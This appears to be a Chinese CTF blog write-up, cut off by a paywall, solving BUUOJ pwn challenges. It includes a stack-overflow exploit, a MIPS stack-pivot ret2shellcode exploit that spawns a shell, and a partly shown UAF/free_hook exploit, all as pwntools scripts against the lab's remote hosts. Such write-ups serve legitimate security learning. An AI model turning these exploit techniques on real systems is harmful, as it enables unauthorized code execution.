216 hwb2018_gettingstart


溢出覆盖就好,唯一有个浮点数,网上网站一大把,找一个转换一下就好。
exp
from pwn import *
context(log_level='debug')
r=remote("node4.buuoj.cn","25539")
r.recv()
v7=0x7FFFFFFFFFFFFFFF
v8=0x3FB999999999999A
payload='a'*0x18+p64(v7)+p64(v8)
r.send(payload)
r.recv()
r.interactive()
217 axb_2019_mips
看这题目,一道mips。
但是其实保护一点没开。
IDA反编译不了,我也懒得下载ghidra,汇编好像不多,直接读汇编吧。
mips的函数调用规则其实看这四句汇编就够了。
addiu就是加
sw就是把寄存器里的值放到对应寄存器的偏移处。
这四句话啥意思。
首先sp寄存器-0x38.就是新开了栈。
把ra寄存器,也就是返回地址的值放到sp寄存器加0x30+4的地方。
把fp寄存器,也就是栈底指针寄存器的值放到sp寄存器加0x30的地方。
然后fp寄存器更新为sp寄存器的值。
一会变量啥的都是用fp寄存器去寻找。
一共三个函数,第一个是main,第二个是vuln,还有一个专门的gadget函数。
首先看main
一进来首先是alarm函数跟三个setbuf函数。平平无奇。

两个输出跟一个输入函数。
输入看的出来开的栈大小是0x18,因为addiu是加法指令,$fp可以理解成ebp寄存器。

然后就是一句输出并且进入了vuln函数。
这个函数里面有个输入,明显看到栈开了0x20,然后可以输入0x200.
所以栈溢出我们研究怎样突破它
因为没有开NX,所以我们其实可以直接ret2shellcode,栈迁移来做。
不可以ret2libc,因为没有给libc。
所以就栈迁移到bss上,然后ret2shellcode一套带走就好了。
栈迁移呢做的是我们不太常见的那种,因为只有一次read的机会,所以我们返回地址必须填写带read的函数。但是如果直接写vuln函数,vuln在开始时会有一段开栈的操作,这一下会再把$fp带回来,所以我们只能从这个函数一半read函数处截胡。读shellcode到bss上,然后写好返回地址就可以了。
exp
# -*- coding: utf-8 -*-
from pwn import *
r = remote('node4.buuoj.cn',27128)
bss = 0x410b70
read_addr = 0x4007e0
r.sendafter("What's your name:","YOngibaoi")
shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
payload = 'a'*0x20
payload += p32(bss + 0x200 - 0x40 + 0x28)
#bss往下拉了0x200,防止一会输入影响bss上面正常内容
payload += p32(read_addr)
r.send(payload)
sleep(1)
payload = 'a'*0x24
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
r.send(payload)
r.interactive()
218 铁人三项(第五赛区)_2018_breakfast
crea
结构还是比较简单的,都在bss上。
ptr指针,最多100个chunk,然后先是100个addr,又跟着100个size。
modify
就是用来往里面读内容。
ver
就是输出
我看半天,我发现这个write不大对劲。
它输出的不是我们平常的“内容”,而实[内容]。
libera
显然有uaf。
因为show的原因,本来可以直接释放八个chunk然后泄露,但是这个就直接read进去got表的地址,write出来就可以泄露。
然后劫持free_hook就好了。
exp
from pwn import *
context.log_level = "debug"
r = remote("node4.buuoj.cn","26075")
#r = process("./218")
elf = ELF('./218')
libc = ELF('./64/libc-2.27.so')
def create(pos,s

本文讲述了MIPS、栈溢出利用、UAF漏洞修复与栈迁移等技术的实战应用,涉及远程代码执行、地址泄露、内存管理漏洞和堆栈控制,展示了如何通过溢出攻击、内存操纵和安全绕过实现攻击目标。
最低0.47元/天 解锁文章
406

被折叠的 条评论
为什么被折叠?



